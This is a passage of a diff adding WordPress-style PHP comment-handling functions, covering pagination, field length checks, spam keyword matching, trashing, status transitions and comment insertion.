+			$type = 'comment';
+		$comments_by_type[$type][] = &$comments[$i];
+		if ( 'trackback' == $type || 'pingback' == $type )
+			$comments_by_type['pings'][] = &$comments[$i];
+	}
+
+	return $comments_by_type;
+}
+
+/**
+ * Calculate the total number of comment pages.
+ *
+ * @since 2.7.0
+ *
+ * @uses Walker_Comment
+ *
+ * @global WP_Query $wp_query
+ *
+ * @param array $comments Optional array of WP_Comment objects. Defaults to $wp_query->comments
+ * @param int   $per_page Optional comments per page.
+ * @param bool  $threaded Optional control over flat or threaded comments.
+ * @return int Number of comment pages.
+ */
+function get_comment_pages_count( $comments = null, $per_page = null, $threaded = null ) {
+	global $wp_query;
+
+	if ( null === $comments && null === $per_page && null === $threaded && !empty($wp_query->max_num_comment_pages) )
+		return $wp_query->max_num_comment_pages;
+
+	if ( ( ! $comments || ! is_array( $comments ) ) && ! empty( $wp_query->comments )  )
+		$comments = $wp_query->comments;
+
+	if ( empty($comments) )
+		return 0;
+
+	if ( ! get_option( 'page_comments' ) ) {
+		return 1;
+	}
+
+	if ( !isset($per_page) )
+		$per_page = (int) get_query_var('comments_per_page');
+	if ( 0 === $per_page )
+		$per_page = (int) get_option('comments_per_page');
+	if ( 0 === $per_page )
+		return 1;
+
+	if ( !isset($threaded) )
+		$threaded = get_option('thread_comments');
+
+	if ( $threaded ) {
+		$walker = new Walker_Comment;
+		$count = ceil( $walker->get_number_of_root_elements( $comments ) / $per_page );
+	} else {
+		$count = ceil( count( $comments ) / $per_page );
+	}
+
+	return $count;
+}
+
+/**
+ * Calculate what page number a comment will appear on for comment paging.
+ *
+ * @since 2.7.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param int   $comment_ID Comment ID.
+ * @param array $args {
+ *      Array of optional arguments.
+ *      @type string     $type      Limit paginated comments to those matching a given type. Accepts 'comment',
+ *                                  'trackback', 'pingback', 'pings' (trackbacks and pingbacks), or 'all'.
+ *                                  Default is 'all'.
+ *      @type int        $per_page  Per-page count to use when calculating pagination. Defaults to the value of the
+ *                                  'comments_per_page' option.
+ *      @type int|string $max_depth If greater than 1, comment page will be determined for the top-level parent of
+ *                                  `$comment_ID`. Defaults to the value of the 'thread_comments_depth' option.
+ * } *
+ * @return int|null Comment page number or null on error.
+ */
+function get_page_of_comment( $comment_ID, $args = array() ) {
+	global $wpdb;
+
+	$page = null;
+
+	if ( !$comment = get_comment( $comment_ID ) )
+		return;
+
+	$defaults = array( 'type' => 'all', 'page' => '', 'per_page' => '', 'max_depth' => '' );
+	$args = wp_parse_args( $args, $defaults );
+	$original_args = $args;
+
+	// Order of precedence: 1. `$args['per_page']`, 2. 'comments_per_page' query_var, 3. 'comments_per_page' option.
+	if ( get_option( 'page_comments' ) ) {
+		if ( '' === $args['per_page'] ) {
+			$args['per_page'] = get_query_var( 'comments_per_page' );
+		}
+
+		if ( '' === $args['per_page'] ) {
+			$args['per_page'] = get_option( 'comments_per_page' );
+		}
+	}
+
+	if ( empty($args['per_page']) ) {
+		$args['per_page'] = 0;
+		$args['page'] = 0;
+	}
+
+	if ( $args['per_page'] < 1 ) {
+		$page = 1;
+	}
+
+	if ( null === $page ) {
+		if ( '' === $args['max_depth'] ) {
+			if ( get_option('thread_comments') )
+				$args['max_depth'] = get_option('thread_comments_depth');
+			else
+				$args['max_depth'] = -1;
+		}
+
+		// Find this comment's top level parent if threading is enabled
+		if ( $args['max_depth'] > 1 && 0 != $comment->comment_parent )
+			return get_page_of_comment( $comment->comment_parent, $args );
+
+		$comment_args = array(
+			'type'       => $args['type'],
+			'post_id'    => $comment->comment_post_ID,
+			'fields'     => 'ids',
+			'count'      => true,
+			'status'     => 'approve',
+			'parent'     => 0,
+			'date_query' => array(
+				array(
+					'column' => "$wpdb->comments.comment_date_gmt",
+					'before' => $comment->comment_date_gmt,
+				)
+			),
+		);
+
+		$comment_query = new WP_Comment_Query();
+		$older_comment_count = $comment_query->query( $comment_args );
+
+		// No older comments? Then it's page #1.
+		if ( 0 == $older_comment_count ) {
+			$page = 1;
+
+		// Divide comments older than this one by comments per page to get this comment's page number
+		} else {
+			$page = ceil( ( $older_comment_count + 1 ) / $args['per_page'] );
+		}
+	}
+
+	/**
+	 * Filters the calculated page on which a comment appears.
+	 *
+	 * @since 4.4.0
+	 * @since 4.7.0 Introduced the `$comment_ID` parameter.
+	 *
+	 * @param int   $page          Comment page.
+	 * @param array $args {
+	 *     Arguments used to calculate pagination. These include arguments auto-detected by the function,
+	 *     based on query vars, system settings, etc. For pristine arguments passed to the function,
+	 *     see `$original_args`.
+	 *
+	 *     @type string $type      Type of comments to count.
+	 *     @type int    $page      Calculated current page.
+	 *     @type int    $per_page  Calculated number of comments per page.
+	 *     @type int    $max_depth Maximum comment threading depth allowed.
+	 * }
+	 * @param array $original_args {
+	 *     Array of arguments passed to the function. Some or all of these may not be set.
+	 *
+	 *     @type string $type      Type of comments to count.
+	 *     @type int    $page      Current comment page.
+	 *     @type int    $per_page  Number of comments per page.
+	 *     @type int    $max_depth Maximum comment threading depth allowed.
+	 * }
+	 * @param int $comment_ID ID of the comment.
+	 */
+	return apply_filters( 'get_page_of_comment', (int) $page, $args, $original_args, $comment_ID );
+}
+
+/**
+ * Retrieves the maximum character lengths for the comment form fields.
+ *
+ * @since 4.5.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @return array Maximum character length for the comment form fields.
+ */
+function wp_get_comment_fields_max_lengths() {
+	global $wpdb;
+
+	$lengths = array(
+		'comment_author'       => 245,
+		'comment_author_email' => 100,
+		'comment_author_url'   => 200,
+		'comment_content'      => 65525,
+	);
+
+	if ( $wpdb->is_mysql ) {
+		foreach ( $lengths as $column => $length ) {
+			$col_length = $wpdb->get_col_length( $wpdb->comments, $column );
+			$max_length = 0;
+
+			// No point if we can't get the DB column lengths
+			if ( is_wp_error( $col_length ) ) {
+				break;
+			}
+
+			if ( ! is_array( $col_length ) && (int) $col_length > 0 ) {
+				$max_length = (int) $col_length;
+			} elseif ( is_array( $col_length ) && isset( $col_length['length'] ) && intval( $col_length['length'] ) > 0 ) {
+				$max_length = (int) $col_length['length'];
+
+				if ( ! empty( $col_length['type'] ) && 'byte' === $col_length['type'] ) {
+					$max_length = $max_length - 10;
+				}
+			}
+
+			if ( $max_length > 0 ) {
+				$lengths[ $column ] = $max_length;
+			}
+		}
+	}
+
+	/**
+	 * Filters the lengths for the comment form fields.
+	 *
+	 * @since 4.5.0
+	 *
+	 * @param array $lengths Associative array `'field_name' => 'maximum length'`.
+	 */
+	return apply_filters( 'wp_get_comment_fields_max_lengths', $lengths );
+}
+
+/**
+ * Compares the lengths of comment data against the maximum character limits.
+ *
+ * @since 4.7.0
+ *
+ * @param array $comment_data Array of arguments for inserting a comment.
+ * @return WP_Error|true WP_Error when a comment field exceeds the limit,
+ *                       otherwise true.
+ */
+function wp_check_comment_data_max_lengths( $comment_data ) {
+	$max_lengths = wp_get_comment_fields_max_lengths();
+
+	if ( isset( $comment_data['comment_author'] ) && mb_strlen( $comment_data['comment_author'], '8bit' ) > $max_lengths['comment_author'] ) {
+		return new WP_Error( 'comment_author_column_length', __( '<strong>ERROR</strong>: your name is too long.' ), 200 );
+	}
+
+	if ( isset( $comment_data['comment_author_email'] ) && strlen( $comment_data['comment_author_email'] ) > $max_lengths['comment_author_email'] ) {
+		return new WP_Error( 'comment_author_email_column_length', __( '<strong>ERROR</strong>: your email address is too long.' ), 200 );
+	}
+
+	if ( isset( $comment_data['comment_author_url'] ) && strlen( $comment_data['comment_author_url'] ) > $max_lengths['comment_author_url'] ) {
+		return new WP_Error( 'comment_author_url_column_length', __( '<strong>ERROR</strong>: your url is too long.' ), 200 );
+	}
+
+	if ( isset( $comment_data['comment_content'] ) && mb_strlen( $comment_data['comment_content'], '8bit' ) > $max_lengths['comment_content'] ) {
+		return new WP_Error( 'comment_content_column_length', __( '<strong>ERROR</strong>: your comment is too long.' ), 200 );
+	}
+
+	return true;
+}
+
+/**
+ * Does comment contain blacklisted characters or words.
+ *
+ * @since 1.5.0
+ *
+ * @param string $author The author of the comment
+ * @param string $email The email of the comment
+ * @param string $url The url used in the comment
+ * @param string $comment The comment content
+ * @param string $user_ip The comment author's IP address
+ * @param string $user_agent The author's browser user agent
+ * @return bool True if comment contains blacklisted content, false if comment does not
+ */
+function wp_blacklist_check($author, $email, $url, $comment, $user_ip, $user_agent) {
+	/**
+	 * Fires before the comment is tested for blacklisted characters or words.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param string $author     Comment author.
+	 * @param string $email      Comment author's email.
+	 * @param string $url        Comment author's URL.
+	 * @param string $comment    Comment content.
+	 * @param string $user_ip    Comment author's IP address.
+	 * @param string $user_agent Comment author's browser user agent.
+	 */
+	do_action( 'wp_blacklist_check', $author, $email, $url, $comment, $user_ip, $user_agent );
+
+	$mod_keys = trim( get_option('blacklist_keys') );
+	if ( '' == $mod_keys )
+		return false; // If moderation keys are empty
+
+	// Ensure HTML tags are not being used to bypass the blacklist.
+	$comment_without_html = wp_strip_all_tags( $comment );
+
+	$words = explode("\n", $mod_keys );
+
+	foreach ( (array) $words as $word ) {
+		$word = trim($word);
+
+		// Skip empty lines
+		if ( empty($word) ) { continue; }
+
+		// Do some escaping magic so that '#' chars in the
+		// spam words don't break things:
+		$word = preg_quote($word, '#');
+
+		$pattern = "#$word#i";
+		if (
+			   preg_match($pattern, $author)
+			|| preg_match($pattern, $email)
+			|| preg_match($pattern, $url)
+			|| preg_match($pattern, $comment)
+			|| preg_match($pattern, $comment_without_html)
+			|| preg_match($pattern, $user_ip)
+			|| preg_match($pattern, $user_agent)
+		 )
+			return true;
+	}
+	return false;
+}
+
+/**
+ * Retrieve total comments for blog or single post.
+ *
+ * The properties of the returned object contain the 'moderated', 'approved',
+ * and spam comments for either the entire blog or single post. Those properties
+ * contain the amount of comments that match the status. The 'total_comments'
+ * property contains the integer of total comments.
+ *
+ * The comment stats are cached and then retrieved, if they already exist in the
+ * cache.
+ *
+ * @since 2.5.0
+ *
+ * @param int $post_id Optional. Post ID.
+ * @return object|array Comment stats.
+ */
+function wp_count_comments( $post_id = 0 ) {
+	$post_id = (int) $post_id;
+
+	/**
+	 * Filters the comments count for a given post.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param array $count   An empty array.
+	 * @param int   $post_id The post ID.
+	 */
+	$filtered = apply_filters( 'wp_count_comments', array(), $post_id );
+	if ( ! empty( $filtered ) ) {
+		return $filtered;
+	}
+
+	$count = wp_cache_get( "comments-{$post_id}", 'counts' );
+	if ( false !== $count ) {
+		return $count;
+	}
+
+	$stats = get_comment_count( $post_id );
+	$stats['moderated'] = $stats['awaiting_moderation'];
+	unset( $stats['awaiting_moderation'] );
+
+	$stats_object = (object) $stats;
+	wp_cache_set( "comments-{$post_id}", $stats_object, 'counts' );
+
+	return $stats_object;
+}
+
+/**
+ * Trashes or deletes a comment.
+ *
+ * The comment is moved to trash instead of permanently deleted unless trash is
+ * disabled, item is already in the trash, or $force_delete is true.
+ *
+ * The post comment count will be updated if the comment was approved and has a
+ * post ID available.
+ *
+ * @since 2.0.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param int|WP_Comment $comment_id   Comment ID or WP_Comment object.
+ * @param bool           $force_delete Whether to bypass trash and force deletion. Default is false.
+ * @return bool True on success, false on failure.
+ */
+function wp_delete_comment($comment_id, $force_delete = false) {
+	global $wpdb;
+	if (!$comment = get_comment($comment_id))
+		return false;
+
+	if ( !$force_delete && EMPTY_TRASH_DAYS && !in_array( wp_get_comment_status( $comment ), array( 'trash', 'spam' ) ) )
+		return wp_trash_comment($comment_id);
+
+	/**
+	 * Fires immediately before a comment is deleted from the database.
+	 *
+	 * @since 1.2.0
+	 * @since 4.9.0 Added the `$comment` parameter.
+	 *
+	 * @param int        $comment_id The comment ID.
+	 * @param WP_Comment $comment    The comment to be deleted.
+	 */
+	do_action( 'delete_comment', $comment->comment_ID, $comment );
+
+	// Move children up a level.
+	$children = $wpdb->get_col( $wpdb->prepare("SELECT comment_ID FROM $wpdb->comments WHERE comment_parent = %d", $comment->comment_ID) );
+	if ( !empty($children) ) {
+		$wpdb->update($wpdb->comments, array('comment_parent' => $comment->comment_parent), array('comment_parent' => $comment->comment_ID));
+		clean_comment_cache($children);
+	}
+
+	// Delete metadata
+	$meta_ids = $wpdb->get_col( $wpdb->prepare( "SELECT meta_id FROM $wpdb->commentmeta WHERE comment_id = %d", $comment->comment_ID ) );
+	foreach ( $meta_ids as $mid )
+		delete_metadata_by_mid( 'comment', $mid );
+
+	if ( ! $wpdb->delete( $wpdb->comments, array( 'comment_ID' => $comment->comment_ID ) ) )
+		return false;
+
+	/**
+	 * Fires immediately after a comment is deleted from the database.
+	 *
+	 * @since 2.9.0
+	 * @since 4.9.0 Added the `$comment` parameter.
+	 *
+	 * @param int        $comment_id The comment ID.
+	 * @param WP_Comment $comment    The deleted comment.
+	 */
+	do_action( 'deleted_comment', $comment->comment_ID, $comment );
+
+	$post_id = $comment->comment_post_ID;
+	if ( $post_id && $comment->comment_approved == 1 )
+		wp_update_comment_count($post_id);
+
+	clean_comment_cache( $comment->comment_ID );
+
+	/** This action is documented in wp-includes/comment.php */
+	do_action( 'wp_set_comment_status', $comment->comment_ID, 'delete' );
+
+	wp_transition_comment_status('delete', $comment->comment_approved, $comment);
+	return true;
+}
+
+/**
+ * Moves a comment to the Trash
+ *
+ * If trash is disabled, comment is permanently deleted.
+ *
+ * @since 2.9.0
+ *
+ * @param int|WP_Comment $comment_id Comment ID or WP_Comment object.
+ * @return bool True on success, false on failure.
+ */
+function wp_trash_comment($comment_id) {
+	if ( !EMPTY_TRASH_DAYS )
+		return wp_delete_comment($comment_id, true);
+
+	if ( !$comment = get_comment($comment_id) )
+		return false;
+
+	/**
+	 * Fires immediately before a comment is sent to the Trash.
+	 *
+	 * @since 2.9.0
+	 * @since 4.9.0 Added the `$comment` parameter.
+	 *
+	 * @param int        $comment_id The comment ID.
+	 * @param WP_Comment $comment    The comment to be trashed.
+	 */
+	do_action( 'trash_comment', $comment->comment_ID, $comment );
+
+	if ( wp_set_comment_status( $comment, 'trash' ) ) {
+		delete_comment_meta( $comment->comment_ID, '_wp_trash_meta_status' );
+		delete_comment_meta( $comment->comment_ID, '_wp_trash_meta_time' );
+		add_comment_meta( $comment->comment_ID, '_wp_trash_meta_status', $comment->comment_approved );
+		add_comment_meta( $comment->comment_ID, '_wp_trash_meta_time', time() );
+
+		/**
+		 * Fires immediately after a comment is sent to Trash.
+		 *
+		 * @since 2.9.0
+		 * @since 4.9.0 Added the `$comment` parameter.
+		 *
+		 * @param int        $comment_id The comment ID.
+		 * @param WP_Comment $comment    The trashed comment.
+		 */
+		do_action( 'trashed_comment', $comment->comment_ID, $comment );
+		return true;
+	}
+
+	return false;
+}
+
+/**
+ * Removes a comment from the Trash
+ *
+ * @since 2.9.0
+ *
+ * @param int|WP_Comment $comment_id Comment ID or WP_Comment object.
+ * @return bool True on success, false on failure.
+ */
+function wp_untrash_comment($comment_id) {
+	$comment = get_comment( $comment_id );
+	if ( ! $comment ) {
+		return false;
+	}
+
+	/**
+	 * Fires immediately before a comment is restored from the Trash.
+	 *
+	 * @since 2.9.0
+	 * @since 4.9.0 Added the `$comment` parameter.
+	 *
+	 * @param int        $comment_id The comment ID.
+	 * @param WP_Comment $comment    The comment to be untrashed.
+	 */
+	do_action( 'untrash_comment', $comment->comment_ID, $comment );
+
+	$status = (string) get_comment_meta( $comment->comment_ID, '_wp_trash_meta_status', true );
+	if ( empty($status) )
+		$status = '0';
+
+	if ( wp_set_comment_status( $comment, $status ) ) {
+		delete_comment_meta( $comment->comment_ID, '_wp_trash_meta_time' );
+		delete_comment_meta( $comment->comment_ID, '_wp_trash_meta_status' );
+		/**
+		 * Fires immediately after a comment is restored from the Trash.
+		 *
+		 * @since 2.9.0
+		 * @since 4.9.0 Added the `$comment` parameter.
+		 *
+		 * @param int        $comment_id The comment ID.
+		 * @param WP_Comment $comment    The untrashed comment.
+		 */
+		do_action( 'untrashed_comment', $comment->comment_ID, $comment );
+		return true;
+	}
+
+	return false;
+}
+
+/**
+ * Marks a comment as Spam
+ *
+ * @since 2.9.0
+ *
+ * @param int|WP_Comment $comment_id Comment ID or WP_Comment object.
+ * @return bool True on success, false on failure.
+ */
+function wp_spam_comment( $comment_id ) {
+	$comment = get_comment( $comment_id );
+	if ( ! $comment ) {
+		return false;
+	}
+
+	/**
+	 * Fires immediately before a comment is marked as Spam.
+	 *
+	 * @since 2.9.0
+	 * @since 4.9.0 Added the `$comment` parameter.
+	 *
+	 * @param int        $comment_id The comment ID.
+	 * @param WP_Comment $comment    The comment to be marked as spam.
+	 */
+	do_action( 'spam_comment', $comment->comment_ID, $comment );
+
+	if ( wp_set_comment_status( $comment, 'spam' ) ) {
+		delete_comment_meta( $comment->comment_ID, '_wp_trash_meta_status' );
+		delete_comment_meta( $comment->comment_ID, '_wp_trash_meta_time' );
+		add_comment_meta( $comment->comment_ID, '_wp_trash_meta_status', $comment->comment_approved );
+		add_comment_meta( $comment->comment_ID, '_wp_trash_meta_time', time() );
+		/**
+		 * Fires immediately after a comment is marked as Spam.
+		 *
+		 * @since 2.9.0
+		 * @since 4.9.0 Added the `$comment` parameter.
+		 *
+		 * @param int        $comment_id The comment ID.
+		 * @param WP_Comment $comment    The comment marked as spam.
+		 */
+		do_action( 'spammed_comment', $comment->comment_ID, $comment );
+		return true;
+	}
+
+	return false;
+}
+
+/**
+ * Removes a comment from the Spam
+ *
+ * @since 2.9.0
+ *
+ * @param int|WP_Comment $comment_id Comment ID or WP_Comment object.
+ * @return bool True on success, false on failure.
+ */
+function wp_unspam_comment( $comment_id ) {
+	$comment = get_comment( $comment_id );
+	if ( ! $comment ) {
+		return false;
+	}
+
+	/**
+	 * Fires immediately before a comment is unmarked as Spam.
+	 *
+	 * @since 2.9.0
+	 * @since 4.9.0 Added the `$comment` parameter.
+	 *
+	 * @param int        $comment_id The comment ID.
+	 * @param WP_Comment $comment    The comment to be unmarked as spam.
+	 */
+	do_action( 'unspam_comment', $comment->comment_ID, $comment );
+
+	$status = (string) get_comment_meta( $comment->comment_ID, '_wp_trash_meta_status', true );
+	if ( empty($status) )
+		$status = '0';
+
+	if ( wp_set_comment_status( $comment, $status ) ) {
+		delete_comment_meta( $comment->comment_ID, '_wp_trash_meta_status' );
+		delete_comment_meta( $comment->comment_ID, '_wp_trash_meta_time' );
+		/**
+		 * Fires immediately after a comment is unmarked as Spam.
+		 *
+		 * @since 2.9.0
+		 * @since 4.9.0 Added the `$comment` parameter.
+		 *
+		 * @param int        $comment_id The comment ID.
+		 * @param WP_Comment $comment    The comment unmarked as spam.
+		 */
+		do_action( 'unspammed_comment', $comment->comment_ID, $comment );
+		return true;
+	}
+
+	return false;
+}
+
+/**
+ * The status of a comment by ID.
+ *
+ * @since 1.0.0
+ *
+ * @param int|WP_Comment $comment_id Comment ID or WP_Comment object
+ * @return false|string Status might be 'trash', 'approved', 'unapproved', 'spam'. False on failure.
+ */
+function wp_get_comment_status($comment_id) {
+	$comment = get_comment($comment_id);
+	if ( !$comment )
+		return false;
+
+	$approved = $comment->comment_approved;
+
+	if ( $approved == null )
+		return false;
+	elseif ( $approved == '1' )
+		return 'approved';
+	elseif ( $approved == '0' )
+		return 'unapproved';
+	elseif ( $approved == 'spam' )
+		return 'spam';
+	elseif ( $approved == 'trash' )
+		return 'trash';
+	else
+		return false;
+}
+
+/**
+ * Call hooks for when a comment status transition occurs.
+ *
+ * Calls hooks for comment status transitions. If the new comment status is not the same
+ * as the previous comment status, then two hooks will be ran, the first is
+ * {@see 'transition_comment_status'} with new status, old status, and comment data. The
+ * next action called is {@see comment_$old_status_to_$new_status'}. It has the
+ * comment data.
+ *
+ * The final action will run whether or not the comment statuses are the same. The
+ * action is named {@see 'comment_$new_status_$comment->comment_type'}.
+ *
+ * @since 2.7.0
+ *
+ * @param string $new_status New comment status.
+ * @param string $old_status Previous comment status.
+ * @param object $comment Comment data.
+ */
+function wp_transition_comment_status($new_status, $old_status, $comment) {
+	/*
+	 * Translate raw statuses to human readable formats for the hooks.
+	 * This is not a complete list of comment status, it's only the ones
+	 * that need to be renamed
+	 */
+	$comment_statuses = array(
+		0         => 'unapproved',
+		'hold'    => 'unapproved', // wp_set_comment_status() uses "hold"
+		1         => 'approved',
+		'approve' => 'approved', // wp_set_comment_status() uses "approve"
+	);
+	if ( isset($comment_statuses[$new_status]) ) $new_status = $comment_statuses[$new_status];
+	if ( isset($comment_statuses[$old_status]) ) $old_status = $comment_statuses[$old_status];
+
+	// Call the hooks
+	if ( $new_status != $old_status ) {
+		/**
+		 * Fires when the comment status is in transition.
+		 *
+		 * @since 2.7.0
+		 *
+		 * @param int|string $new_status The new comment status.
+		 * @param int|string $old_status The old comment status.
+		 * @param object     $comment    The comment data.
+		 */
+		do_action( 'transition_comment_status', $new_status, $old_status, $comment );
+		/**
+		 * Fires when the comment status is in transition from one specific status to another.
+		 *
+		 * The dynamic portions of the hook name, `$old_status`, and `$new_status`,
+		 * refer to the old and new comment statuses, respectively.
+		 *
+		 * @since 2.7.0
+		 *
+		 * @param WP_Comment $comment Comment object.
+		 */
+		do_action( "comment_{$old_status}_to_{$new_status}", $comment );
+	}
+	/**
+	 * Fires when the status of a specific comment type is in transition.
+	 *
+	 * The dynamic portions of the hook name, `$new_status`, and `$comment->comment_type`,
+	 * refer to the new comment status, and the type of comment, respectively.
+	 *
+	 * Typical comment types include an empty string (standard comment), 'pingback',
+	 * or 'trackback'.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param int        $comment_ID The comment ID.
+	 * @param WP_Comment $comment    Comment object.
+	 */
+	do_action( "comment_{$new_status}_{$comment->comment_type}", $comment->comment_ID, $comment );
+}
+
+/**
+ * Clear the lastcommentmodified cached value when a comment status is changed.
+ *
+ * Deletes the lastcommentmodified cache key when a comment enters or leaves
+ * 'approved' status.
+ *
+ * @since 4.7.0
+ * @access private
+ *
+ * @param string $new_status The new comment status.
+ * @param string $old_status The old comment status.
+ */
+function _clear_modified_cache_on_transition_comment_status( $new_status, $old_status ) {
+	if ( 'approved' === $new_status || 'approved' === $old_status ) {
+		foreach ( array( 'server', 'gmt', 'blog' ) as $timezone ) {
+			wp_cache_delete( "lastcommentmodified:$timezone", 'timeinfo' );
+		}
+	}
+}
+
+/**
+ * Get current commenter's name, email, and URL.
+ *
+ * Expects cookies content to already be sanitized. User of this function might
+ * wish to recheck the returned array for validity.
+ *
+ * @see sanitize_comment_cookies() Use to sanitize cookies
+ *
+ * @since 2.0.4
+ *
+ * @return array Comment author, email, url respectively.
+ */
+function wp_get_current_commenter() {
+	// Cookies should already be sanitized.
+
+	$comment_author = '';
+	if ( isset($_COOKIE['comment_author_'.COOKIEHASH]) )
+		$comment_author = $_COOKIE['comment_author_'.COOKIEHASH];
+
+	$comment_author_email = '';
+	if ( isset($_COOKIE['comment_author_email_'.COOKIEHASH]) )
+		$comment_author_email = $_COOKIE['comment_author_email_'.COOKIEHASH];
+
+	$comment_author_url = '';
+	if ( isset($_COOKIE['comment_author_url_'.COOKIEHASH]) )
+		$comment_author_url = $_COOKIE['comment_author_url_'.COOKIEHASH];
+
+	/**
+	 * Filters the current commenter's name, email, and URL.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param array $comment_author_data {
+	 *     An array of current commenter variables.
+	 *
+	 *     @type string $comment_author       The name of the author of the comment. Default empty.
+	 *     @type string $comment_author_email The email address of the `$comment_author`. Default empty.
+	 *     @type string $comment_author_url   The URL address of the `$comment_author`. Default empty.
+	 * }
+	 */
+	return apply_filters( 'wp_get_current_commenter', compact('comment_author', 'comment_author_email', 'comment_author_url') );
+}
+
+/**
+ * Inserts a comment into the database.
+ *
+ * @since 2.0.0
+ * @since 4.4.0 Introduced `$comment_meta` argument.
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param array $commentdata {
+ *     Array of arguments for inserting a new comment.
+ *
+ *     @type string     $comment_agent        The HTTP user agent of the `$comment_author` when
+ *                                            the comment was submitted. Default empty.
+ *     @type int|string $comment_approved     Whether the comment has been approved. Default 1.
+ *     @type string     $comment_author       The name of the author of the comment. Default empty.
+ *     @type string     $comment_author_email The email address of the `$comment_author`. Default empty.
+ *     @type string     $comment_author_IP    The IP address of the `$comment_author`. Default empty.
+ *     @type string     $comment_author_url   The URL address of the `$comment_author`. Default empty.
+ *     @type string     $comment_content      The content of the comment. Default empty.
+ *     @type string     $comment_date         The date the comment was submitted. To set the date
+ *                                            manually, `$comment_date_gmt` must also be specified.
+ *                                            Default is the current time.
+ *     @type string     $comment_date_gmt     The date the comment was submitted in the GMT timezone.
+ *                                            Default is `$comment_date` in the site's GMT timezone.
+ *     @type int        $comment_karma        The karma of the comment. Default 0.
+ *     @type int        $comment_parent       ID of this comment's parent, if any. Default 0.
+ *     @type int        $comment_post_ID      ID of the post that relates to the comment, if any.
+ *                                            Default 0.
+ *     @type string     $comment_type         Comment type. Default empty.
+ *     @type array      $comment_meta         Optional. Array of key/value pairs to be stored in commentmeta for the
+ *                                            new comment.
+ *     @type int        $user_id              ID of the user who submitted the comment. Default 0.
+ * }
+ * @return int|false The new comment's ID on success, false on failure.
+ */
+function wp_insert_comment( $commentdata ) {
+	global $wpdb;
+	$data = wp_unslash( $commentdata );
+
+	$comment_author       = ! isset( $data['comment_author'] )       ? '' : $data['comment_author'];
+	$comment_author_email = ! isset( $data['comment_author_email'] ) ? '' : $data['comment_author_email'];
+	$comment_author_url   = ! isset( $data['comment_author_url'] )   ? '' : $data['comment_author_url'];
+	$comment_author_IP    = ! isset( $data['comment_author_IP'] )    ? '' : $data['comment_author_IP'];
+
+	$comment_date     = ! isset( $data['comment_date'] )     ? current_time( 'mysql' )            : $data['comment_date'];
+	$comment_date_gmt = ! isset( $data['comment_date_gmt'] ) ? get_gmt_from_date( $comment_date ) : $data['comment_date_gmt'];
+
+	$comment_post_ID  = ! isset( $data['comment_post_ID'] )  ? 0  : $data['comment_post_ID'];
+	$comment_content  = ! isset( $data['comment_content'] )  ? '' : $data['comment_content'];
+	$comment_karma    = ! isset( $data['comment_karma'] )    ? 0  : $data['comment_karma'];
+	$comment_approved = ! isset( $data['comment_approved'] ) ? 1  : $data['comment_approved'];
+	$comment_agent    = ! isset( $data['comment_agent'] )    ? '' : $data['comment_agent'];
+	$comment_type     = ! isset( $data['comment_type'] )     ? '' : $data['comment_type'];
+	$comment_parent   = ! isset( $data['comment_parent'] )   ? 0  : $data['comment_parent'];
+
+	$user_id  = ! isset( $data['user_id'] ) ? 0 : $data['user_id'];
+
+	$compacted = compact( 'comment_post_ID', 'comment_author', 'comment_author_email', 'comment_author_url', 'comment_author_IP', 'comment_date', 'comment_date_gmt', 'comment_content', 'comment_karma', 'comment_approved', 'comment_agent', 'comment_type', 'comment_parent', 'user_id' );
+	if ( ! $wpdb->insert( $wpdb->comments, $compacted ) ) {
+		return false;
+	}
+
+	$id = (int) $wpdb->insert_id;
+
+	if ( $comment_approved == 1 ) {
+		wp_update_comment_count( $comment_post_ID );
+
+		foreach ( array( 'server', 'gmt', 'blog' ) as $timezone ) {
+			wp_cache_delete( "lastcommentmodified:$timezone", 'timeinfo' );
+		}
+	}
+
+	clean_comment_cache( $id );
+
+	$comment = get_comment( $id );
+
+	// If metadata is provided, store it.
+	if ( isset( $commentdata['comment_meta'] ) && is_array( $commentdata['comment_meta'] ) ) {
+		foreach ( $commentdata['comment_meta'] as $meta_key => $meta_value ) {
+			add_comment_meta( $comment->comment_ID, $meta_key, $meta_value, true );
+		}
+	}
+
+	/**
+	 * Fires immediately after a comment is inserted into the database.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param int        $id      The comment ID.
+	 * @param WP_Comment $comment Comment object.
+	 */
+	do_action( 'wp_insert_comment', $id, $comment );
+
+	return $id;
+}
+
+/**
+ * Filters and sanitizes comment data.
+ *
+ * Sets the comment data 'filtered' field to true when finished. This can be
+ * checked as to whether the comment should be filtered and to keep from
+ * filtering the same comment more than once.
+ *
+ * @since 2.0.0
+ *
+ * @param array $commentdata Contains information on the comment.
+ * @return array Parsed comment information.
+ */
+function wp_filter_comment($commentdata) {
+	if ( isset( $commentdata['user_ID'] ) ) {
+		/**
+		 * Filters the comment author's user id before it is set.
+		 *
+		 * The first time this filter is evaluated, 'user_ID' is checked
+		 * (for back-compat), followed by the standard 'user_id' value.
+		 *
+		 * @since 1.5.0
+		 *
+		 * @param int $user_ID The comment author's user ID.
+		 */
+		$commentdata['user_id'] = apply_filters( 'pre_user_id', $commentdata['user_ID'] );
+	} elseif ( isset( $commentdata['user_id'] ) ) {
+		/** This filter is documented in wp-includes/comment.php */
+		$commentdata['user_id'] = apply_filters( 'pre_user_id', $commentdata['user_id'] );
+	}
+
+	/**
+	 * Filters the comment author's browser user agent before it is set.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param string $comment_agent The comment author's browser user agent.
+	 */
+	$commentdata['comment_agent'] = apply_filters( 'pre_comment_user_agent', ( isset( $commentdata['comment_agent'] ) ? $commentdata['comment_agent'] : '' ) );
+	/** This filter is documented in wp-includes/comment.php */
+	$commentdata['comment_author'] = apply_filters( 'pre_comment_author_name', $commentdata['comment_author'] );
+	/**
+	 * Filters the comment content before it is set.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param string $comment_content The comment content.
+	 */
+	$commentdata['comment_content'] = apply_filters( 'pre_comment_content', $commentdata['comment_content'] );
+	/**
+	 * Filters the comment author's IP address before it is set.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param string $comment_author_ip The comment author's IP address.
+	 */
